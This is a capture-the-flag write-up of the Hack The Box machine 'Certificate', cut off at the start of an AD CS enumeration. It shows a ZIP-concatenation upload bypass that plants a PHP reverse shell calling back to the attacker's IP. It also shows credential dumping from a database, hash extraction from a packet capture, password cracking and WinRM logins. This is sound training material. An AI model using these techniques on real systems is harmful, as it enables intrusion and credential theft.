RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
80/tcp   open  http          syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: FBA180716B304B231C4029637CCF6481
|_http-title: Certificate | Your portal for certification
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-06-01 10:13:39Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:15:12+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:15:11+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-06-01T10:15:12+00:00; +8h00m01s from scanner time.
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:15:11+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        syn-ack .NET Message Framing
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 54757/tcp): CLEAN (Timeout)
|   Check 2 (port 57992/tcp): CLEAN (Timeout)
|   Check 3 (port 64434/udp): CLEAN (Timeout)
|   Check 4 (port 41124/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-time:
|   date: 2025-06-01T10:14:33
|_  start_date: N/A

Domain Details

We have:

  • FQDN: certificate.htb
  • DC hostname: DC01.certificate.htb
  • LDAP Certificate CN: Certificate-LTD-CA — implies Active Directory Certificate Services (ADCS) is deployed.

Ports Overview

We found some suspicious or notable ports based on the scan:

  • Port 80 (HTTP): Apache 2.4.58 with PHP 8.0.30 running on Windows — this is uncommon and might indicate a custom or misconfigured web application worth investigating for RCE, LFI, or credential leaks.
  • Port 88 (Kerberos) and Port 464 (kpasswd): Indicate the presence of an Active Directory domain controller. Primary targets for Kerberos-based attacks like AS-REP roasting or Kerberoasting.
  • Port 389, 636, 3268, 3269 (LDAP/LDAPS/Global Catalog): LDAP in multiple forms confirms that this is a fully functional AD environment. Useful for enumerating users, groups, and potentially vulnerable Certificate Templates.
  • Port 445 (SMB) and 139 (NetBIOS): Standard file sharing and RPC — potential for null session enumeration or share enumeration. Can also be useful for NTLM relaying or credential reuse.

Port 80

Port 80 hosts a web application that facilitates user registration and authentication:

htb_certificate_1

The contact form functions correctly—potentially doubling as an XSS injection point:

htb_certificate_2

During registration, we can specify the account type: student or teacher:

htb_certificate_3

However, registering as a teacher triggers an approval workflow, whereas student accounts are provisioned with restricted access.

Enumeration with dirsearch uncovers an upload.php endpoint—accessible only post-authentication:

htb_certificate_4

An additional endpoint of interest, db.php, is exposed as well:

[19:46:30] 200 -     0B - /db.php

Sending a POST request to it while authenticated as a student yields a response demanding valid parameters:

htb_certificate_5

WEB

Upload Bypass

Upload Test

With a student account, we're able to enroll in a course and access the submission interface for uploading homework:

htb_certificate_6

This grants us access to the previously discovered upload.php endpoint, e.g., http://certificate.htb/upload.php?s_id=26:

htb_certificate_7

nitial upload attempts reveal content-type sanitization mechanisms in place:

htb_certificate_8

The page explicitly restricts accepted formats:

We accept only the following file types: .pdf .docx .pptx .xlsx

However, it introduces a “user-friendly” feature:

You include the assignment file in .zip archive file to reduce it's size

— And it's always in the name of convenience that vulnerabilities lurk.

But packaging a malicious PHP file into a .zip and submitting it still results in rejection:

htb_certificate_9

However, this's a signal, not a setback—the server is clearly unpacking and inspecting the archive, a behavior that often opens the door to backend parsing abuse and command injection.

ZIP Concatenation

Concept

The objective is straightforward: slip malicious content past upload filters by abusing the ZIP parser's trust model. If we can mislead the backend's ZIP handler into parsing a hidden payload within a concatenated archive, we pivot past restrictions undetected.

This Perception Point post involves exploiting the way different ZIP file readers handle concatenated ZIP archives to bypass security measures and deliver malicious payloads.

A ZIP file typically contains a central directory at its end, listing all the files within the archive. Some ZIP readers rely solely on this central directory to display the archive's contents. Attackers exploit this by creating multiple ZIP filesone benign and one malicious—and concatenating them. The resulting file appears as a single archive but contains multiple central directories. Depending on the ZIP reader used, only the contents of the first or second archive may be visible, allowing the malicious payload to remain hidden from certain tools.

Illustrated in the blog:

Extracted Path
└── <eml_attachment>.danger
    └── SHIPPING_INV_PL_BL_pdf.rar
        ├── SHIPPING_INV_PL_BL_pdf.exe
        │   ├── palladize
        │   └── Dunlop
        └── x.pdf

An .exe cloaked inside a .rar, itself buried within a .eml. A multi-stage trick. One face for the scanner, another for the system.

Exploit

Our focus shifts to Windows file parsing behavior—specifically how Windows File Explorer and backend upload validators process ZIPs. It may fail to open the concatenated file or display only the second archive's contents, according to the article.

Therefore, we will abuse ZIP file concatenation to bypass file upload filters, particularly against the target server which scans ZIPs for restricted file types like .php. This is because the file scanners often only parse the first ZIP's central directory and miss subsequent ones.

Step 1: Create a Benign ZIP

First create a valid, minimal, and harmless-looking PDF file:

Bash
printf '%s\n' \
  '%%PDF-1.1' \
  '1 0 obj' \
  '<<>>' \
  'endobj' \
  'xref' \
  '0 1' \
  '0000000000 65535 f ' \
  'trailer' \
  '<<>>' \
  'startxref' \
  '9' \
  '%%EOF' > legit.pdf
  • %PDF-1.1: PDF file magic header.
  • Defines one empty object (1 0 obj).
  • Contains the required xref and trailer sections.
  • Ends with %%EOF, which signals the logical end of the file.

Then create a ZIP file (benign.zip) with only the harmless-looking legit.pdf:

Bash
zip benign.zip legit.pdf

Upload filters will scan this and allow it because it contains a .pdf and nothing malicious.

Step 2: Create a Malicious ZIP

First we need to embed a malicious PHP payload under a directory:

$ mkdir rev

$ cp ~/hacktools/revshells/ivan_php.php rev/shell.php

$ vim rev/shell.php

$ tail rev/shell.php
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.13.12', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

$ tree rev
rev
└── shell.php

1 directory, 1 file

Inside shell.php is a reverse shell tuned to our listener.

Then we create the malicious.zip which contains the PHP reverse-shell script inside a folder (rev/shell.php):

Bash
zip -r malicious.zip rev/

This is what we eventually want the back-end server to execute.

Step 3: Concatenate Both ZIPs

Create a dual-headed archive. One tame, one lethal:

Bash
cat benign.zip malicious.zip > concat.zip

This is the core trick:

  • ZIP parsers only read the central directory, which is usually located at the end of the file.
  • By placing the benign ZIP first and malicious ZIP second, some filters will only analyze the first central directory (benign) and ignore the second (malicious).
  • This results in a valid concatenated archive that behaves differently depending on how it's opened:
    • Security scanners may see only the benign part.
    • Web servers / tools like unzip, ZipArchive, 7z or the Windows File Explorer may parse the entire archive and allow access to the embedded shell.php.

We can verify this duality using binwalk:

htb_certificate_10

This tells:

  • The file begins with a valid ZIP archive at offset 0x0, containing 1 file only (legit.pdf) inside the benign.zip
  • Immediately after that, at offset 0xF2 (decimal 242), there's another ZIP archive, containing 2 files (rev/shell.php and the directory itself) inside the malicious.zip

Step 4: Upload the Combined ZIP

Submit concat.zip to the server's upload endpoint. It scans the first archive—PDF checks out, no PHP to block. Pass granted. Because:

  • Only legit.pdf is seen during scanning.
  • .php content is hidden in the concatenated part.

After successfully uploaded, it returns the URL of the PDF file:

htb_certificate_11

… which looks like http://certificate.htb/static/uploads/a369baa9f1ece1047ee532031c7cf61d/legit.pdf

Step 5: Trigger Remote Code Execution

But we can pivot to the hidden payload:, via

http://certificate.htb/static/uploads/a369baa9f1ece1047ee532031c7cf61d/rev/shell.php

The server extracts both ZIPs. The PHP file is deployed silently. The trap springs:

htb_certificate_12

We gain execution as xamppuser—initial foothold secured.

USER

SQL Dump

Remember the db.php we fingerprinted earlier during dirsearch recon? Turns out, it holds gold:

PHP
<?php
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}
?>

This exposed db.php gives us hardcoded MySQL database credentials:

  • Database name: Certificate_WEBAPP_DB
  • Username: certificate_webapp_user
  • Password: cert!f!c@teDBPWD

We verify that MySQL is active:

C:\xampp\htdocs\certificate.htb> tasklist | findstr /i mysql
mysqld.exe                    4528                            0     16,432 K

Confirmed: mysqld.exe is running locally.

Then locate the MySQL CLI:

c:\xampp> dir /s /b mysql.exe
c:\xampp\mysql\bin\mysql.exe

Armed with the creds, we pivot into the database:

PowerShell
c:\xampp\mysql\bin\mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "SHOW DATABASES;"

As a result:

htb_certificate_13

We zone in on certificate_webapp_db, the main application backend. Dumping the users table gives:

htb_certificate_14

The dumped users table data:

[+] Dumped Users from `certificate_webapp_db.users`

├── ID: 1
│   ├── Name: Lorra Armessa
│   ├── Username: Lorra.AAA
│   ├── Email: [email protected]
│   ├── Role: teacher
│   ├── Password (bcrypt): $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG
│   └── Active: Yes

├── ID: 6
│   ├── Name: Sara Laracrof
│   ├── Username: Sara1200
│   ├── Email: [email protected]
│   ├── Role: teacher
│   ├── Password (bcrypt): $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK
│   └── Active: Yes

├── ID: 7
│   ├── Name: John Wood
│   ├── Username: Johney
│   ├── Email: [email protected]
│   ├── Role: student
│   ├── Password (bcrypt): $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq
│   └── Active: Yes

├── ID: 8
│   ├── Name: Havok Watterson
│   ├── Username: havokww
│   ├── Email: [email protected]
│   ├── Role: teacher
│   ├── Password (bcrypt): $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti
│   └── Active: Yes

├── ID: 9
│   ├── Name: Steven Roman
│   ├── Username: stev
│   ├── Email: [email protected]
│   ├── Role: student
│   ├── Password (bcrypt): $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2
│   └── Active: Yes

├── ID: 10
│   ├── Name: Sara Brawn
│   ├── Username: sara.b
│   ├── Email: [email protected]
│   ├── Role: admin         ← most interesting target
│   ├── Password (bcrypt): $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6
│   └── Active: Yes

├── ID: 12
│   ├── Name: aaa bbb
│   ├── Username: test
│   ├── Email: [email protected]
│   ├── Role: student
│   ├── Password (bcrypt): $2y$04$PuuzvL4V7.4mUDwp9C31hexcKM11kVSlypE1z46OH1WrLnXyP65Ym
│   └── Active: Yes

Hash format identified via Hashcat:

$ hashcat --identify '$2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG'
The following 4 hash-modes match the structure of your input hash:

# | Name                                                       | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

We offload the hashes and crack them using RockYou:

Bash
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force

The one for Sara Brawn, whose role is admin, is crackable:

$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Blink182

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8U...kZNdH6

Test the cracked password with its username sara.b mentioned in the database against AD:

htb_certificate_15

Pop a shell with evil-winrm:

Bash
evil-winrm -i certificate.htb -u 'sara.b' -p 'Blink182'

Initial access granted. No flag yet—

htb_certificate_16

—but a backup-like directory structure reveals itself. That's our next breadcrumb.

PCAP Exfil

While inspecting C:\Users\Sara.B\Documents\ws-01\, we find an intriguing capture:

*Evil-WinRM* PS C:\Users\Sara.B\Documents> gci .\ws-01 -recurse

Directory: C:\Users\Sara.B\Documents\ws-01

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/4/2024  12:44 AM            530 Description.txt
-a----        11/4/2024  12:45 AM         296660 WS-01_PktMon.pcap

The Description.txt paints the picture:

The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01. When a user tries to input bad credentials, it returns bad credentials error. But when a user provides valid credentials the file explorer freezes and then crashes!

From the Protocol Hierarchy view of WS-01_PktMon.pcap in Wireshark, we know both Kerberos and NTLMv2 authentication mechanisms are in use:

Sara logged the session to debug this. That's our in. A .pcap of an authenticated SMB attempt? We might just extract something sensitive—an NTLMv2 hash, perhaps.

NTML Exfil (Rabbit Hole)

WireShark

Load WS-01_PktMon.pcap into Wireshark and isolate with:

ntlmssp

We hone in on the NTLMSSP_AUTH packet. This is the final packet in the 3-way handshake and contains the hash material.

htb_certificate_17

This post explains the steps to extract the NTLM hash from an acquired .pcap file,

As I upload a CTF challenge in our discord server:

https://discord.com/channels/1235103752369995796/1336590129338388511/1337043460355657728

It also requires the same technique, but a bit more complicated, which requires us to bypass the SSL handshake before exfiltration.

Since this is more of a simple version, we can exfiltrate the imbedded NTLM hash manually. As we have already filtered the network traffic via the keyword ntlmssp, it shows all packets in the NTLM authentication sequence:

  • Negotiate (first)
  • Challenge (second)
  • Authenticate (third ← the one we need)

Within the NTLMSSP_AUTH packet, we expand:

SMB2 > Session Setup Request > Security Blob
htb_certificate_18

From the Session Setup Request, under the Security Blob, we extract:

Frame 745: 677 bytes on wire (5416 bits), 677 bytes captured (5416 bits) on interface unknown, id 0
Ethernet II, Src: PCSSystemtec_86:80:13 (08:00:27:86:80:13), Dst: PCSSystemtec_60:8d:f8 (08:00:27:60:8d:f8)
Internet Protocol Version 4, Src: 192.168.56.128, Dst: 192.168.56.101
Transmission Control Protocol, Src Port: 49734, Dst Port: 445, Seq: 345, Ack: 666, Len: 623
NetBIOS Session Service
SMB2 (Server Message Block Protocol version 2)
    SMB2 Header
    Session Setup Request (0x01)
        [Preauth Hash: 3e045d080eea1daf990f774ebfcfb4f35c4141ea51f9f8adf8be6fa3dfe8d52aa9b23b9a9dd82a8f8277e739f319191dd24c6c7465ed04bbbaa2a2943661c4ff]
        StructureSize: 0x0019
        Flags: 0
        Security mode: 0x02, Signing required
        Capabilities: 0x00000001, DFS
        Channel: None (0x00000000)
        Previous Session Id: 0x0000000000000000
        Blob Offset: 0x00000058
        Blob Length: 531
        Security Blob […]: a182020f3082020ba0030a0101a28201ee048201ea4e544c4d535350000300000018001800860000003c013c019e0000000a000a00580000001a001a00620000000a000a007c00000010001000da010000158288e20a0063450000000f1ff3e22f163537c38fc3236cc5d0033c
            GSS-API Generic Security Service Application Program Interface
                Simple Protected Negotiation
                    negTokenTarg
                        negResult: accept-incomplete (1)
                        responseToken […]: 4e544c4d535350000300000018001800860000003c013c019e0000000a000a00580000001a001a00620000000a000a007c00000010001000da010000158288e20a0063450000000f1ff3e22f163537c38fc3236cc5d0033c570053002d0030003100410064006d0069006e0069
                        NTLM Secure Service Provider
                            NTLMSSP identifier: NTLMSSP
                            NTLM Message Type: NTLMSSP_AUTH (0x00000003)
                            Lan Manager Response: 000000000000000000000000000000000000000000000000
                            LMv2 Client Challenge: 0000000000000000
                            NTLM Response […]: e336ceaefd01eb90006495d8b134391d0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e
                            Domain name: WS-01
                            User name: Administrator
                            Host name: WS-01
                            Session Key: 53be7b16d826685b77409970eb8ad967
                             […]Negotiate Flags: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Session Security, Negotiate Always Sign, Negotiate NTLM key, Negotiate Sign, Request Targe
                            Version 10.0 (Build 17763); NTLM Current Revision 15
                            MIC: 1ff3e22f163537c38fc3236cc5d0033c
                        mechListMIC: 01000000a1315cef9107a7b300000000
                        NTLMSSP Verifier
                            Version Number: 1
                            Verifier Body: a1315cef9107a7b300000000

Domain Info

Here, we found:

Domain: WS-01
Username: Administrator

NTLM Response

Under the NTLM Response section, we can find the NTProofStr:

e336ceaefd01eb90006495d8b134391d

Where the complete NTLMv2 Response is:

e336ceaefd01eb90006495d8b134391d0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e

Since the NTLMv2 Response starts with the NTProofStr, we trimmed the first 16 bytes from the response to isolate the actual blob:

0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e

Server Challenge

Locate the corresponding NTLMSSP_CHALLENGE packet for the server challenge:

htb_certificate_19

So extract the NTLM Server Challenge:

532ae6cd16799423

Format NTLM Hash

We now structure it into Hashcat's NTLMv2 format:

<Username>::<Domain>:<ServerChallenge>:<NTProofStr>:<NTLMv2Response>

Resulting in:

Administrator::WS-01:532ae6cd16799423:e336ceaefd01eb90006495d8b134391d:0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e

Save that to hash.txt.

Hashcat

Invoke Hashcat in mode 5600 for NTLMv2:

Bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force

However, no dice for an Administrator account—rockyou.txt doesn't cut it.

Kerberos Exfil

WireShark

While the NTLMv2 hash from Administrator hit a wall, the .pcap held more cards. Filtering with:

kerberos

…uncovered an AS-REQ from [email protected]:

htb_certificate_20

We analyze a captured Kerberos authentication exchange between a domain user and the KDC. This includes:

  • Frame 917AS-REQ from [email protected]
  • Frame 922AS-REP from DC with a TGT

Because this exchange includes pre-authentication, the initial AS-REQ message contains an encrypted timestamp — exactly what we need for Kerberos Pre-Auth roasting (AS-REQ Roasting).

Extract the kerberos frame ( Frame 917) of the selected AS-REQ package:

Frame 917: 363 bytes on wire (2904 bits), 363 bytes captured (2904 bits) on interface unknown, id 0
Ethernet II, Src: PCSSystemtec_86:80:13 (08:00:27:86:80:13), Dst: PCSSystemtec_60:8d:f8 (08:00:27:60:8d:f8)
Internet Protocol Version 4, Src: 192.168.56.128, Dst: 192.168.56.101
Transmission Control Protocol, Src Port: 49739, Dst Port: 88, Seq: 1, Ack: 1, Len: 309
Kerberos
    Record Mark: 305 bytes
        0... .... .... .... .... .... .... .... = Reserved: Not set
        .000 0000 0000 0000 0000 0001 0011 0001 = Record Length: 305
    as-req
        pvno: 5
        msg-type: krb-as-req (10)
        padata: 2 items
            PA-DATA pA-ENC-TIMESTAMP
                padata-type: pA-ENC-TIMESTAMP (2)
                    padata-value: 3041a003020112a23a043823f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
                        etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
                        cipher: 23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
            PA-DATA pA-PAC-REQUEST
                padata-type: pA-PAC-REQUEST (128)
                    padata-value: 3005a0030101ff
                        include-pac: True
        req-body
            Padding: 0
            kdc-options: 40810010
                0... .... = reserved: False
                .1.. .... = forwardable: True
                ..0. .... = forwarded: False
                ...0 .... = proxiable: False
                .... 0... = proxy: False
                .... .0.. = allow-postdate: False
                .... ..0. = postdated: False
                .... ...0 = unused7: False
                1... .... = renewable: True
                .0.. .... = unused9: False
                ..0. .... = unused10: False
                ...0 .... = opt-hardware-auth: False
                .... 0... = unused12: False
                .... .0.. = unused13: False
                .... ..0. = constrained-delegation: False
                .... ...1 = canonicalize: True
                0... .... = request-anonymous: False
                .0.. .... = unused17: False
                ..0. .... = unused18: False
                ...0 .... = unused19: False
                .... 0... = unused20: False
                .... .0.. = unused21: False
                .... ..0. = unused22: False
                .... ...0 = unused23: False
                0... .... = unused24: False
                .0.. .... = unused25: False
                ..0. .... = disable-transited-check: False
                ...1 .... = renewable-ok: True
                .... 0... = enc-tkt-in-skey: False
                .... .0.. = unused29: False
                .... ..0. = renew: False
                .... ...0 = validate: False
            cname
                name-type: kRB5-NT-PRINCIPAL (1)
                cname-string: 1 item
                    CNameString: Lion.SK
            realm: CERTIFICATE
            sname
                name-type: kRB5-NT-SRV-INST (2)
                sname-string: 2 items
                    SNameString: krbtgt
                    SNameString: CERTIFICATE
            till: Sep 12, 2037 19:48:05.000000000 PDT
            rtime: Sep 12, 2037 19:48:05.000000000 PDT
            nonce: 1788771279
            etype: 6 items
                ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
                ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
                ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5 (23)
                ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5-56 (24)
                ENCTYPE: eTYPE-ARCFOUR-HMAC-OLD-EXP (-135)
                ENCTYPE: eTYPE-DES-CBC-MD5 (3)
            addresses: 1 item WS-01<20>
                HostAddress WS-01<20>
                    addr-type: nETBIOS (20)
                    NetBIOS Name: WS-01<20> (Server service)
    [Response in: 922]

We're not targeting the AS-REP, because in this case, pre-authentication is required. The actual password proof is in the AS-REQ's PA-ENC-TIMESTAMP field, not the encrypted part of the server's reply.

The encrypted method is referred as eTYPE-AES256-CTS-HMAC-SHA1-96 (18), corresponding to Hashcat mode 19900 (Hashcat Wiki). This means we can extract a Kerberos Pre-Auth hash in the $krb5pa$ format

Domain Info

Identify the account we're targeting:

Realm: CERTIFICATE.HTB
Username: Lion.SK

Cipher (Encrypted Ticket)

From the kerberos → as-req → padata → PA-ENC-TIMESTAMP → cipher, right-click and copy the full field value:

23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

This field is the timestamp encrypted with the user's password, which is used for cracking with Hashcat mode 19900.

Format Krb5pa Hash

From Hashcat Wiki, the format for -m 19900 (Kerberos 5, etype 18, Pre-Auth) is:

$krb5pa$18$<user>$<realm>$<cipher>

Final hash in our case:

$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

Hashcat

Bash
hashcat -m 19900 lion_sk_hash.txt rockyou.txt --force

And we strike gold:

$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 19900 (Kerberos 5, etype 18, Pre-Auth)
Hash.Target......: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7...e852f0

Confirmed valid:

htb_certificate_21

Shell it:

Bash
evil-winrm -i certificate.htb -u 'lion.sk' -p '!QAZ2wsx'

Access granted—and the user flag is ours:

htb_certificate_22

ROOT

AD enumeration time.

BloodHound

Using bloodhound-python, we remotely enumerate the domain:

Bash
bloodhound-python -u 'lion.sk' -p '!QAZ2wsx' -d 'certificate.htb' -ns $target_ip --zip -c All -dc 'dc01.certificate.htb'

We see the previously compromised sara.b user is a member of the Account Operators group:

htb_certificate_23

This group is intended to manage user and group accounts, but not administrative-level objects like Domain Controllers or Domain Admins — but we can control other privileged account via this primitive..

lion.sk, however, is a member of a far more interesting group — Domain CRA Managers:

htb_certificate_24

While Account Operators have classic delegation roles, the Domain CRA Managers group hints at Certificate Services privilege—likely an AD CS misconfiguration is in play.

Certificate Request Agent

The DOMAIN CRA MANAGERS group refers to Certificate Request Agent. The CRA Manager is an account authorized to request certificates on behalf of another user. This is most commonly used in smart card enrollment scenarios or delegate enrollment.

CRA Managers or users with elevated rights over CRA templates are potentially dangerous — they can be leveraged in ADCS attacks.

Certipy

Since it is ADCS related, we can Running certipy find uncovers the vulnerability:

Bash
certipy find -target 'dc01.certificate.htb' -dc-ip $target_ip \
    -u 'lion.sk' -p '!QAZ2wsx' \
    -vulnerable -enable

Result:

JSON
{
  "Certificate Authorities": {
    "0": {
